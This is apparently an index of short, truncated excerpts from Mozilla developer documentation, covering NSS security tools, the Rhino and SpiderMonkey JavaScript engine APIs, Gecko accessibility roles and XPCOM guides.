. many tools implement private versions of pkcs11init(), opencertdb(), etc. eliminate use of getopt() and replace with nspr calls to get command options (to eliminate platform dependencies with getopt()). tools information tool description links certutil 2.0 manage certificate and key databases (cert7.db and key3.db). source, documentation, tasks/plans cmsutil 1.0 performs basic cms operations such as encrypting, decrypting, and signing messages. source, documentation crlutil manage certificate revocation lists (crls). source, documentation, dbck 1.0 analyze and repair certificate databases (not working in nss 3.2) source, tasks/plans modutil 1.1 manage the database of pkcs11 modules (secmod.db). a...
Utility functions
secitem_allocitem mxr 3.2 and later secitem_arenadupitem mxr 3.9 and later secitem_compareitem mxr 3.2 and later secitem_copyitem mxr 3.2 and later secitem_dupitem mxr 3.2 and later secitem_freeitem mxr 3.2 and later secitem_itemsareequal mxr 3.8 and later secitem_zfreeitem mxr 3.2 and later seckey_copyencryptedprivatekeyinfo mxr 3.2 and later seckey_copyprivatekeyinfo mxr 3.2 and later seckey_creatersaprivatekey mxr 3.2 and later seckey_destroyencryptedprivatekeyinfo mxr 3...
modutil-tasks.html
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers). a fix was made for "hpux b.11.00," but issues may still arise for platforms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS Tools modutil-tasks
nss security tools: modutil tasks newsgroup: mozilla.dev.tech.crypto task list the jar installation script is very fragile with respect to platform definitions (especially version numbers). a fix was made for "hpux b.11.00," but issues may still arise for platforms like "linux 2.2.12-20." documentation needs to be explicit about the use of fo ...
NSS Tools pk12util
zilla.dev.tech.crypto the pkcs #12 utility makes sharing of certificates among enterprise server 3.x and any server (netscape products or non-netscape products) that supports pkcs#12 possible. the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. synopsis pk12util -i p12file [-h tokenname] [-v] [common-options] or pk12util -o p12file -n certname [-c keycipher] [-c certcipher] [-m | --key_len keylen] [-n | --cert_key_len certkeylen] [common-options] or pk12util -l p12file [-h tokenname] [-r] [common-options] where [common-options] = [-d dir] [-p dbprefix] [-k slotpasswordfile | -k slotpassword] [-w p12f...
NSS Tools signver-tasks
nss security tools: signver tasks newsgroup: mozilla.dev.tech.crypto task list remove private hash algortihms and replace with code in lib/hash, lib/crypto, and ...
NSS Tools ssltap
r an incoming connection from the client side. once this connection arrives, the tool makes another connection to the specified host name and port on the server side. it passes any data sent by the client to the server and vice versa. the tool also displays the data to the shell window from which it was called. it can do this for plain http connections or any tcp protocol, as well as for ssl streams, as described here. the tool cannot and does not decrypt any encrypted message data. you use the tool to look at the plain text and binary data that are part of the handshake procedure, before the secure connection is established. syntax to run the ssl debugging tool, type this command in a command shell: ssltap [-vhfsxl] [-p port] hostname:port options the command does not requi...
certutil
input or output. this formatting follows rfc 1113. for certificate requests, ascii output defaults to standard output unless redirected. -b validity-time specify a time at which a certificate is required to be valid. use when checking certificate validity with the -v option. the format of the validity-time argument is yymmddhhmmss[+hhmm|-hhmm|z], which allows offsets to be set relative to the validity end time. specifying seconds (ss) is optional. when specifying an explicit time, use a z at the end of the term, yymmddhhmmssz, to close it. when specifying an offset time, use yymmddhhmmss+hhmm or yymmddhhmmss-hhmm for adding or subtracting time, respectively. ...
The Necko HTTP module
ed questions. caching faq this document gives an overview of how http caching is implemented in necko. it answers some of the common questions concerning what is cached and for how long. http cache (v2) describes in detail the api and the implementation details of the content (http, but not only) cache. http logging this document describes how to enable http logging for various platforms. original document information last updated date: may 12, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details ...
Necko
mailing list newsgroup rss feed ...
Rhino Debugger
t-arguments] where the options are the same as the shell. the rhino javascript debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascript code in the current scope of an executing script. console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an editable command line for you to enter javascript code and view system output. the console window maintains a history of the commands you have entered. you may move backward and forward through the history list by pressing the up/down arrow keys on the keyboard. opening scripts you may select the file->open menu item on the menu bar to...
Tutorial: Embedding Rhino
ead and is an essential cleanup action. there should be a call to exit for every call to enter. to make sure that it is called even if an exception is thrown, it is put into the finally block corresponding to the try block starting after context.enter(). expose java apis using java apis no additional code in the embedding needed! the javascript feature calledliveconnect allows javascript programs to interact with java objects: $ java runscript "java.lang.system.out.println(3)" 3.0 undefined implementing interfaces using rhino, javascript objects can implement arbitrary java interfaces. there's no java code to write -- it's part of rhino's liveconnect implementation. for example, we can see how to implement java.lang.runnable in a rhino shell session: js> obj = { run: function() { pri...
Rhino Examples
compiled to java classes using jsc. it can be run in the html page nervoustext.html. controlling the javascript engine the runscript class runscript.java is a simple program that executes a script from the command line. the control class control.java is a program that executes a simple script and then manipulates the result. javascript shell shell.java is a program that executes javascript programs; it is a simplified version of the shell in the tools package. the programs may be specified as files on the command line or by typing interactively while the shell is running. primitivewrapfactory primitivewrapfactory.java is an example of a wrapfactory that can be used to control the wrapping behavior of the rhino engine on calls to java methods. multithreaded script execution dynamicscopes.jav...
Rhino history
no compiled all javascript code to java bytecodes in generated classfiles. this produced the best performance (often beating the c implementation of javascript when run on a jit), but suffered from two faults. first, compilation time was long since generating java bytecodes and loading the generated classes was a heavyweight process. also, the implementation effectively leaked memory since most jvms don't really collect unused classes or the strings that are interned as a result of loading a class file. so in fall of 1998, rhino added an interpretive mode. the classfile generation code was moved to an optional, dynamically-loaded package. compilation is faster and when scripts are no longer in use they can be collected like any other java object. rhino was released to mozilla.org in april ...
Rhino optimization
optimization settings the currently supported optimization settings are: -1 interpretive mode is always used. the compilation time is minimized at the expense of runtime performance. no class files are generated, which may improve memory usage depending on your system. another benefit of the interpreted mode is that the interpreter performs tail-call elimination of recursive functions. also, you must use this optimization level if your code uses continuation objects. if the optimization package is not available, then optimization acts as if it is always -1. 0 no optimizations are performed. the bytecode compiler runs fastest in this mode, but the generated byte code is less efficient. 1-9 all optimizations are performed. simple data and type flow analysis is performed to dete...
Rhino overview
lement equal to i for version 1.2 only. otherwise the ecma conformant version is used (an array is constructed with no elements but with length property equal to i). string.prototype.substring for version 1.2 only, the two arguments are not swapped if the first argument is less than the second one. all other versions are ecma compliant. string.prototype.split for version 1.2 only, split performs the perl4 special case when given a single space character as an argument (skips leading whitespace, and splits on whitespace). all other versions split on the space character proper as specified by ecma. security the security features in rhino provide the ability to track the origin of a piece of code (and any pieces of code that it may in turn generate). these features allow for the implement...
Performance Hints
i=0; i < a.length; i++) result += a[i]; return result; } this is not equivalent code because the second version does not modify global variables result and i. however, if you don't intend for any other function to access these variables, then storing them globally is probably wrong anyway (what if you called another function that had a loop like the one in sum!). arrays use the forms of the array constructor that specify a size or take a list of initial elements. for example, the code var a = new array(); for (var i=0; i < n; i++) a[i] = i; could be sped up by changing the constructor call to new array(n). a constructor call like that indicates to the runtime that a javascript array should be used for the first n entries of the array. similarly, new array("a", "b", ...
The JavaScript Runtime
s. conceptually, all accessors are converted to strings in order to perform the lookup of the property in the object. however, this is not the implementation used in practice because a number to string conversion is too expensive to be performed on every array access. instead, every property accessor method in scriptable (has, get, set, remove, getattributes, and setattributes) has overloaded forms that take either a string or an int argument. it is the responsibility of the caller to invoke the appropriate overloaded form. for example, evaluating the expression obj["3"] will invoke the get(int, scriptable) method even though the property name was presented in the script as a string. similarly, values of numbers that do not fix in integers (like 1.1 and 0x100000000) must be converted to str...
Shumway
ttom of the screen to enable or disable various shumway options. note: if your applet runs at an abnormal speed, try toggling "turbo" at the bottom of the inspector window. you may wish to do this before opening your swf file. limitations of shumway might be encountered through testing. there are two places where shumway bugs are tracked: github (via issues and pull requests) manages problems relating to shumway, itself. bugzilla is intended for problems with integrating shumway into firefox. end-users and less involved developers may report issues by hovering over "shumway" within flash content, clicking "report problems", and filling the form. performance and compatibility issues with flash content should be reported through github. from the main page for shumway at github, clic...
Creating JavaScript jstest reftests
ript standard for example, the exact definition of pi or some details of array sorting. you should not add tests of the following type: tests of the jit test of jit correctness belong in the jit-test suite, read more here. performance tests or stress tests tests of spidermonkey's comformance to the ecmascript standard a brief history: in 2017, spidermonkey started comsuming test262, a comprehensive tests suite for ecmascript implementations. before using test262, spidermonkey had a fair number of internal tests of conformance to ecmascript, and many of those tests remain in the js/src/non262 directory as regressions. test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as intern...
GCIntegration - SpiderMonkey Redirect 1
, where clearwrapper() is called directly from a finalizer. one saving grace is that most weak pointers already have a read barrier on them: xpc_unmarkgray(). besides gray unmarking, this function automatically checks if an incremental gc is running and, if so, marks the given object black. this is how the read barrier for nswrappercache::getwrapper() actually works. moving gc there are two forms of moving gc we are likely to implement: generational gc and compacting gc. in generational gc, certain newly allocated are moved from one place (a nursery) to another (the tenured space). at least initially, only jsstrings and jsobjects without finalizers will be allocated in the nursery, and so only they will be subject to moving. compacting gc is more exhaustive: every object is subject to mov...
GC Rooting Guide
tself. one consequence of having different rooting requirements for heap and stack data is that a single structure containing gc thing pointers cannot be used on both the stack and the heap. in this case, separate structures must be created for the stack and the heap. there are currently no convenience typedefs for js::heap<t>. for example, instead of this: struct heapstruct { jsobject* msomeobject; js::value msomevalue; }; you should write: struct heapstruct { js::heap<jsobject*> msomeobject; js::heap<js::value> msomevalue; }; tracing js::nativeobject all gc pointers stored on the heap must be traced. for regular js::nativeobjects, this is normally done by storing them in slots, which are automatically traced by the gc. other jsobjects when defining a jsobjec...
Statistics API
detail. times: object - a map from phase names to the total time taken by each phase: the sum of each field of the map from the slices. the last two fields require a bit of elaboration. gc work can be divided into phases, such as marking or sweeping. the division into phases is hierarchical, so a phase can be split into subphases. for example, the sweep phase includes the time for the sweep_atoms, sweep_tables, sweep_compartments phases and so on. the times object gives how much time was spent in each phase of the gc, in milliseconds. additionally, an incremental gc is divided into a series of slices (the division into slices is completely separate from the division into phases; neither one is a refinment of the other). a little bit of gc work is done in each slice. in between slices, ot...
Property cache
ut the property access. the property cache is a per-thread cache of the results of steps 1 and 2. when executing certain property-accessing bytecode instructions, the interpreter populates the cache to speed future execution of the same instruction. the jit reads the property cache too, as it needs the same information when recording such an instruction. if there is a cache miss, the jit performs parts 1 and 2 of the property access and fills the cache to avoid redoing that work in the interpreter. (in some cases this is necessary for correctness. when recording a getprop, the jit needs to know the result type before the interpreter executes the instruction. it is crucial that jit and interpreter get the same answer; possible pitfalls include native getters and resolve hooks. so the looku...
Self-hosted builtins in SpiderMonkey
anism, c++-implemented helper functions are made available to self-hosted code. some general-purpose functions provided in this way are: the abstract operations toobject, tointeger, and iscallable specified in the ecmascript language specification. throwtypeerror, throwrangeerror, throwsyntaxerror, which self-hosted code should use instead of throw so that the error message is specified in js.msg and can be localized. the makeconstructible function described above. the file utilities.js provides some additional, js-implemented helper functions. of note, it provides implementations of list and record, types defined in the ecmascript specifications that are similar to array and object, but can't be modified by application code. the selfhostingdefines.h header contains adding self-host...
JS::Add*Root
ss of the jsscript * variable to root. name const char * the name of the new root, or null. description the js::add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected. vp/rp is the address of a c/c++ variable (or field, or array element) of type js::value, jsstring *, jsobject *, or jsscript *. this variable must already be initialized. (for example, it must not be an uninitialized local variable. that could cause sporadic crashes during garbage collection, which can be...
JS::Call
n or jsapi-compiled function. name const char * pointer to the function name to call. args js::handlevaluearray &amp; arguments to pass to the function. rval js::mutablehandlevalue out parameter. on success, *rval receives the return value from the function call. description js::call calls a specified function, fun, on an object, thisobj. in terms of function execution, the object is treated as this. for more detail, see js_callfunction, js_callfunctionname, and js_callfunctionvalue. see also mxr id search for js::call js_callfunction js_callfunctionname js_callfunctionvalue bug 601168 ...
JS::MutableHandle
syntax bool somefunction(jscontext *cx, js::mutablehandle<t> outparam) { ... } methods here, ptr represents the private member of js::mutablehandle<t>, typed with t *. method description const t &get() const returns *ptr. operator const t&() const t operator->() const t *address() returns ptr. void set(t v) sets the value of *ptr to v. ...
JSClass.flags
ith xpconnect and the jsclass_has_private flag is also set. mxr id search for jsclass_private_is_nsisupports jsclass_is_domjsclass added in spidermonkey 17 objects are dom. mxr id search for jsclass_is_domjsclass jsclass_emulates_undefined added in spidermonkey 24 causes objects which have this class to emulate undefined in certain circumstances. an object obj that emulates undefined behaves like any other object, except in the following ways: typeof obj === "undefined" obj converts to false when obj is converted to a boolean when used in boolean contexts (if conditions, loop continuation/termination conditions [for/while/do { } while], the condition in a ternary ?: expression, and so on) (obj == undefined) is...
JSExtendedClass
ndedclass callbacks: create a jsextendedclass and populate both the base fields and the extended fields. ensure that the additional reserved fields at the end of the jsextendedclass are null. jsclass and jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null. (this is a feature of the c and c++ languages.) otherwise, use memset. set the jsclass_is_extended flag in myextendedclass.base.flags. pass &myextendedclass.base to functions like js_initclass or js_newobject that require a jsclass *. see also bug 571789 ...
JSFastNative
te a jsfunctionspec that points to a jsfastnative, use js_fn. when a jsfastnative is called, no jsstackframe is generated. this is what makes a fast native fast. however, it causes the function not to appear on the stack in javascript debuggers. it also means that applications that use spidermonkey's security features, particularly those that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_frameiterator and js_stackframeprincipals, must take extra care, as the native function's principals will be missing from the stack. see also jsnative ...
JSGetObjectOps
ops *ops pointer used to dispatch object operations from api calls. thus jsclass (which pre-dates jsobjectops in the api) provides a low-level interface to class-specific code and data, while jsobjectops allows for a higher level of operation, which does not use the object's class except to find the class's jsobjectops struct, by calling clasp->getobjectops, and to finalize the object. if this seems backwards, that's because it is! api compatibility requires a jsclass *clasp parameter to js_newobject, etc. most host objects do not need to implement the larger jsobjectops, and can share the common jsscope code and data used by the native (js_objectops, see jsobj.c) ops. further extension to preserve api compatibility: if this function returns a pointer to jsxmlobjectops.base, not to jsobjecto...
JSNative
ror or raising an exception terminates the script with an uncatchable error. this has limited use cases; it's used to implement firefox's "slow script" dialog, for example.) when a jsnative is called, no jsstackframe is generated. this causes the function not to appear on the stack in javascript debuggers. it also means that applications that implement jscheckaccessop or jscheckaccessidop in terms of apis such as js_frameiterator and js_stackframeprincipals, must take extra care, as the native function's principals will be missing from the stack. see also mxr id search for jsnative js::callargs js_reporterror js_reportoutofmemory js_setpendingexception ...
JSVAL_IS_GCTHING
e. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. indicates whether a js value has a type that is subject to garbage collection. syntax jsval_is_gcthing(v) description jsval_is_gcthing(v) is true if the jsval v is either jsval_null or a reference to a value that is subject to garbage collection. javascript performs automatic garbage collection of objects, strings, and doubles. this macro exposes javascript engine implementation details and usually isn't what the application really means. see jsval for alternatives. see also bug 952650 ...
JS_Add*Root
name const char * (in js_addnamedroot and js_addnamedrootrt) the name of the new root, or null. description the js_add*root and functions add a c/c++ variable to the garbage collector's root set, the set of variables used as starting points each time the collector checks to see what memory is reachable. the garbage collector aggressively collects and recycles memory that it deems unreachable, so roots are often necessary to protect data from being prematurely collected. vp/spp/opp/rp is the address of a c/c++ variable (or field, or array element) of type jsstring *, jsobject *, or jsval. this variable must already be initialized. (for example, it must not be an uninitialized local variable. that could cause sporadic crashes during garbage collection, which can be hard to...
JS_CallFunction
ments you are passing to the function. obsolete since jsapi 30 argv jsval * pointer to the array of argument values to pass to the function. obsolete since jsapi 30 rval js::mutablehandlevalue out parameter. on success, *rval receives the return value from the function call. description js_callfunction calls a specified function, fun, on an object, obj. in terms of function execution, the object is treated as this. js_callfunctionname calls a function with specified name, name on an object obj. if js engine fails to get the function, it returns false. js_callfunctionvalue calls a specified function, fval on an object obj. js_callfunctionvalue(cx, obj, fval, args, rval) is analogous to the javascript statement rval = fval.apply(obj, args);. in args, pa...
JS_ClearDateCaches
inter to a javascript context from which to derive runtime information. ...
JS_DestroyContext
destroy a jscontext. syntax void js_destroycontext(jscontext *cx); void js_destroycontextnogc(jscontext *cx); void js_destroycontextmaybegc(jscontext *cx); // obsolete since jsapi 14 name type description cx jscontext * the context to destroy. description these functions destroy a context, cx. js_destroycontext additionally performs garbage collection to reclaim any memory that was being used by cx's global object. js_destroycontextnogc does not perform garbage collection. js_destroycontextmaybegc may or may not perform garbage collection; the engine makes an educated guess as to whether enough memory would be reclaimed to justify the work. in a js_threadsafe build, it does not matter whether the calling thread is in a request on cx. howev...
JS_EnterLocalRootScope
p) { jsbool ok; if (!js_enterlocalrootscope(cx)) return js_false; // this function doesn't need to bother rooting any new objects, // strings, or doubles it creates using cx. even if js_gc is // called, these new values will not be collected. ok = my_getpropertybody(cx, obj, id, vp); // when we leave the local root scope, this protection ends. new // items created in this local root scope become subject to gc. js_leavelocalrootscope(cx); return ok; } note: js_leavelocalrootscope or js_leavelocalrootscopewithresult must be called once for every prior successful call to js_enterlocalrootscope. if js_enterlocalrootscope fails, you must not make the matching js_leavelocalrootscope call. local root scopes do not cover objects that are the resul...
JS_ExecuteScript
h to execute the script. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the scope in which to execute the script. in the simplest cases, this should just be the embedding's global object. obsolete since jsapi 39 obj must not be an array, an e4x xml object, a with object, or a proxy. in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2. instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. variable initialization is performed. if the jsoption_varobjfix option is in effect (recommend...
JS_ExecuteScriptVersion
ntext * the context in which to execute the script. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * the scope in which to execute the script. in the simplest cases, this should just be the embedding's global object. obj must not be an array, an e4x xml object, a with object, or a proxy. in ecmascript terms, the script is executed in a new execution context, but that context is not initialized quite as described in any of the three cases in ecma 262-3 §10.2. instead: the scope chain is initialized to contain obj, followed by its parent, then its parent's parent, etc. until null is reached. variable initialization is performed. if the jsoption_varobjfix option is in effect (recommend...
JS_GetGlobalForCompartmentOrNull
for which to return the global object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. c jscompartment * the compartment for which to return the global object. description js_getglobalforcompartmentornull() returns the global object for the context and the compartment. this may return null if c never had a global (e.g., the atoms compartment), or if c's global has been collected. see also mxr id search for js_getglobalforcompartmentornull js_getglobalforobject js::currentglobalornull bug 687724 ...
JS_MaybeGC
y to perform garbage collection if needed. syntax void js_maybegc(jscontext *cx); name type description cx jscontext * the context in which to perform garbage collection, if needed. description js_maybegc tries to determine whether garbage collection in cx's runtime would free up enough memory to be worth the amount of time it would take. if so, it performs some garbage collection. calling js_maybegc when the application is idle can help prevent garbage collection from happening at less convenient times. calling js_maybegc periodically when the application is busy, from a jsbranchcallback or jsoperationcallback added in spidermonkey 1.8, can keep memory usage down and improve performance. both are good practices. in both cases, frequent calls js_ma...
JS_NewDateObject
hour int the hour to set the new object to. min int the minute to set the new object's time to. sec int the second to set the new object's time to. description creates and returns a new jsobject representing a javascript date object, which is pre-configured using the specified values. see also mxr id search for js_newdateobject js_newdateobjectmsec js_objectisdate bug 625870 ...
JS_NewRuntime
ronment. call js_newruntime before making any other api calls except js_init. js_newruntime allocates memory for the jsruntime and initializes certain internal runtime structures. maxbytes specifies the number of allocated bytes after which garbage collection is run. if parentruntime is specified, the resulting runtime shares significant amounts of read-only state (the self-hosting and initial atoms compartments). it is recommended to make use of this for every runtime in a process after the first one. the returned jsruntime can be used from the calling thread only. (the engine may use helper threads internally, though.) on success, js_newruntime returns a pointer to the newly created runtime, which the caller must later destroy using js_destroyruntime. otherwise it returns null. notes o...
JS_ObjectIsDate
this jscontext. ...
JS_ReportErrorNumber
e current error reporter callback or create an error object and set it as the pending exception. first errorcallback(userref, errornumber) is called. if errorcallback returns null, (??? what happens?). otherwise, if the jserrorformatstring returned by the jserrorcallback has .exntype == jsexn_none, then the error reporter, if any, is called, and no error object is created. (??? the source code seems to say we ignore the .exntype, actually, but surely i'm just missing something.) otherwise, if any javascript code is running in cx (for example, if the caller is a jsnative that was called from a script), then an error object is created and becomes the pending exception. the error reporter is not called yet, because the script still has an opportunity to catch and handle the exception. otherwise...
jsdouble
ing-point number type. it is defined to be a 64-bit, ieee 754 compliant type. see ecma 262-3 §8.5. arithmetic on jsdouble values in c should behave exactly like the floating-point arithmetic in javascript, except that c and javascript may treat not-a-number values differently. implementation note: spidermonkey has had several bugs involving details of floating-point arithmetic on various platforms. controlling the behavior of floating-point arithmetic is very architecture- and system-specific, and can be hard to get right. help in the form of test cases, commentary, and patches is always appreciated. ...
Profiling SpiderMonkey
es its own shared library, even in libxul and static builds. make -c my-obj-dir/js/src other ways to profile for linux, there are global jprof functions available. see the documentation on the --enable-jprof mozconfig option. we're working to add support for other profilers, such as oprofile, intel vtune, and callgrind. when we have js scriptable profiling options available for all tier 1 platforms, we'll look at adding global start/stop profiling functions. if you'd like to profile something at a higher level of detail than the js shark functions allow, there are corresponding c functions available at the bottom of jsdbgapi.h. costs of thread safety currently, threadsafe spidermonkey costs us 10-15% on some benchmarks vs. a non-threadsafe js shell. if you're looking to investigate that, bu...
Split object
h half of a split object always has a pointer to the other half. inner objects implement the jsextendedclass.outerobject hook, which returns a pointer to the corresponding outer object. outer objects implement the jsextendedclass.innerobject hook. but the association is not fixed. an outer object may be associated with different inner objects at different times. this feature is complicated. programs other than mozilla that embed spidermonkey should avoid using split objects. the window object split objects were introduced to resolve a problem posed by the window object. three interrelated requirements on the window object seemed to conflict. the window object is the global object for scripts in web pages. firefox has to maintain this for web compatibility. for performance, access to glo...
Thread Sanitizer
it uses a compile-time instrumentation to check all non-race-free memory access at runtime. unlike other tools, it understands compiler-builtin atomics and synchronization and therefore provides very accurate results with no real false positives. more information on how tsan works can be found on the thread sanitizer wiki. public builds note: no public builds are available at this time yet. manual build build prerequisites note: this section assumes you're using linux to build. threadsanitizer does not work on mac osx yet. ...
Zest implementation
the first version of zest has been released but is intentionally very basic. future versions of zest are planned which will significantly increase the scope of the language. the first version is aimed at creating scripts for reproducing basic security vulnerabilities includes a java reference implementation, which conforms to jsr 223 has been included in a proof-of-concept owasp zap add-on the next version is underdevelopment - more details soon. related links zest overview ...
Zest
cted to be defined by the tools that integrate zest. it is completely free, open source and can be included in any tool whether open or closed, free or commercial. zest is still at a very early stage of development, but is has been made available so that anyone can play around with it. all constructive feedback is very welcome. anyone can contribute to the onward development of zest, and teams or individuals who develop security tools are especially welcome to join and help shape zest's future. zest topics usecases reporting security vulnerabilities to developers reporting security vulnerabilities to companies defining active and passive scanner rules deep integration with security tools runtimes the runtime environments that support zest tools the tools ...
Exploitable crashes
e sure a bug is on file. mark the bug as security-sensitive by putting it into the "security-sensitive core bug" group. do this before making comments or taking actions that expose exploitability publicly. put a security severity rating in the bug's keywords. if you're not sure what rating to give, err on the higher side so the bug will get more attention. explain in a comment why the issue seems exploitable. other tools apple has a tool called "crashwrangler" that are still being maintained as of 2012. there is little public information about it, and it is hard to find even on the apple developer site. to get them go to the mac developer center downloads section -> other downloads -> search for "crashwrangler". microsoft released a debugger extension tool in 2009 called "!exploitable". ...
Signing Mozilla apps for Mac OS X
ed the coderesources file this file is located in your application's bundle at contents/_codesignature/coderesources. if you don't provide one, codesign will automatically generate it. however, to modify apple's automatic signing process (for example, to exclude a file or folder), you'll need to provide this file.. once the application bundle is signed, this file will contain the hashes/checksums of all files that are included in the signature. if any file is subsequently changed, the folder will no longer validate. the coderesources file used to sign official firefox and thunderbird builds is available in mozilla-central. for more details on using the coderesources file, refer to the code resources section on erick dransch's blog post about code signing. ...
ROLE_ALERT
« gecko roles page represents an alert or a condition that a user should be notified about. assistive technologies typically respond to the role by reading the entire onscreen contents of containers advertising this role. should be used for warning dialogs, etc. mapped to at-spi: role_alert atk: atk_role_alert msaa/ia2: role_system_alert ua: nsaccessibilitywindowrole events event_alert - fires when the widget is shown. used by aria: alert, alertdialog xul: <notification/>, <panel noautofocus = "true"/> ...
ROLE_CELL
« gecko roles page represents a cell within a table. also, see role_table. ...
ROLE_COLUMNHEADER
« gecko roles page represents a column header, providing a visual label for a column in a table. ...
ROLE_GRAPHIC
« gecko roles page represents a picture. ...
ROLE_MENUITEM
« gecko roles page represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option. interfaces nsiaccessnode nsiaccessible children no children. mapped to at-spi: role_menu_item atk: atk_role_menu_item ua: nsaccessibilitymenuitemrole msaa/ ia2: role_system_menuitem used by aria: menuitem xul: <menuitem/> ...
ROLE_OUTLINEITEM
« gecko roles page represents an item in an outline or tree structure. ...
ROLE_ROW
« gecko roles page represents a row of cells within a table. also, see role_table. ...
ROLE_TABLE
« gecko roles page represents a table that contains rows and columns of cells, and optionally, row headers and column headers. also refer to the following roles: role_columnheader, role_rowheader, role_column, role_row, role_cell. mapped to at-spi: role_table atk: atk_role_table ua: nsaccessibilitygrouprole msaa/ia2: role_system_table used by aria: grid html: <table> xul: <listbox/> ...
Gecko states
rmation about the object to users. however, if client applications find an object with this state, they should check to see if state_offscreen is also set. if this second state is defined, then clients can communicate the information about the object to users. for example, a list box can have both state_invisible and state_offscreen set. in this case, the client application can communicate all items in the list to users. state_offscreen scrolled off state_sizeable the object can be resized. for example, a user could change the size of a window by clicking the border with a mouse and dragging the mouse. state_moveable indicates that the object can be moved. for example, a user can click on the titlebar for the object and drag the object to a new location. state_selfvoicing the object ...
Accessibility API Implementation Details
s contain documentation on mozilla specific implementation details of assistive technology apis. at apis supportthis documentation explains how makers of screen readers, voice dictation packages, onscreen keyboards, magnification software and other assitive technologies can support gecko-based software. we provide for them the support of these products on windows, linux/unix and os x platforms.at developmentthe accessibility of computer software has seen drastic improvements over the past two decades. this article (from 2007) reviews the progress and technology as it has developed. xforms accessibilitythis article provides a quick guide to how accessibility is handled in gecko for xforms.xul accessibilitythis article shows how xul control elements are mapped to accessibility api. i...
Embedded Dialog API
anged to go through the new interface. restated, in order for a piece of code's dialogs to be overrideable, they can't be implemented directly in the code. all ui-related code must be implemented in a registered component so that it can be swapped out by the embedding application. nsipromptservice is the canonical example. of course this is a relatively simple example. more complex dialogs may themselves require their own interface. (examples to be added as they come online. the print dialogs should be available soon.) dialogs posed by the embedding app ("down calls") some components will not pose dialogs directly, but maintain a database of information an embedding app may wish to display as a dialog. preferences are the canonical example. in this case, we must be sure to have an api which...
Mork
Mozilla › Tech › Mork
es, tables, rows, and groups (changesets). dictionaries, tables, and rows all have corresponding metastructures. meta-dictionaries are in practice only used to change the scope of alias definitions (the '(a=c)' that you can see in files). meta-tables are used to establish some facts about the table as well as the default row scope. meta-rows do not appear to be used at all, although the parser seems to consider setting the charset, row scope, and atom scope. some notes on further terminology: when referring to cells or aliases, the first component is the key and the second component is the value. expanding refers to taking a '^' hex buffer and replacing it with the alias value for the hex key (explained below). a mid has two components: the id itself, to the left of the colon, and the scop...
Places Expiration
all of expiration uses the storage async api, that ensures i/o is in a separate thread, plus it won't block any read thanks to the use of the wal journaling system. ...
Using the Places keywords API
a keyword can only be associated to a given url, it's not possible to associate the same keyword with multiple urls (doing so will just update the url it's pointing to). each keyword can be associated with post data, in such a case a post action will be executed when the given url is selected from the awesomebar. ...
Generating GUIDs
stands for a hexadecimal digit. there are a number of tools that can be used to generate a guid in the canonical form. note: if you do choose to use an email-style id for your add-on, you probably don't want it to be a real email address, since it might attract spam. online tools generate guid online uuid (guid) generator on the web uuid generator for mozilla code (both idl and c++.h forms) you can get a guid from one of the bots (such as botbot, firebot) on #firefox irc channel by /msging "uuid" to them. windows windows users can use the guidgen tool from microsoft to obtain a guid. (this tool is also part of ms visual c++) linux use /usr/bin/uuidgen. this can be found in package uuid-runtime (debian). mac os x use /usr/bin/uuidgen. perl jkeiser's mozilla tools include...
Generic factory
if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return factory; } this example assumes that the xpcom repository is available as an interface (which it soon will be). background (this is based on my original news posting <beard-2402991733140001@h-198-93-95-151.mcom.com>.) we seem to be creating a huge number of different factory implementations. it seems to me that we can cut down on code size (all those queryinterface, addref, release implementations) if we just use the following class for all of the simple factories: // idea: why not create a generic factory facility so we can avoid // duplication of so much nsifactory code? all we need is an allocator // function, the rest of the implementation is exactly the same. #include "nsifactory.h...
Resources
e xpcom project page xulplanet's online xpcom reference information on xpconnect and scriptable components the smart pointer guide xpidl xpidl compiler reference general development resources the world wide web consortium url specification at the w3 gnu make « previous copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Creating XPCOM components
lding a microsoft visual cpp project creating a new project adding the gecko sdk to the project settings building a windows project a makefile for unix appendix b - resources weblock resources gecko resources xpcom resources general development resources next » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
XPCOM guide
Mozilla › Tech › XPCOM › Guide
get to them. in this document the term array refers to a container for multiple objects with a numeric, zero-based index.xpcom changes in gecko 2.0several changes that affect xpcom component compatibility are taking place in gecko 2. this article details those changes, and provides suggestions for how to update your code.xpcom hashtable guidea hashtable is a data construct that stores a set of items. each item has a key that identifies the item. items are found, added, and removed from the hashtable by using the key. hashtables may seem like arrays, but there are important differences:xpcom stream guidein mozilla code, a stream is an object which represents access to a sequence of characters. it is not that sequence of characters, though: the characters may not all be available when you rea...
Introduction to XPCOM for the DOM
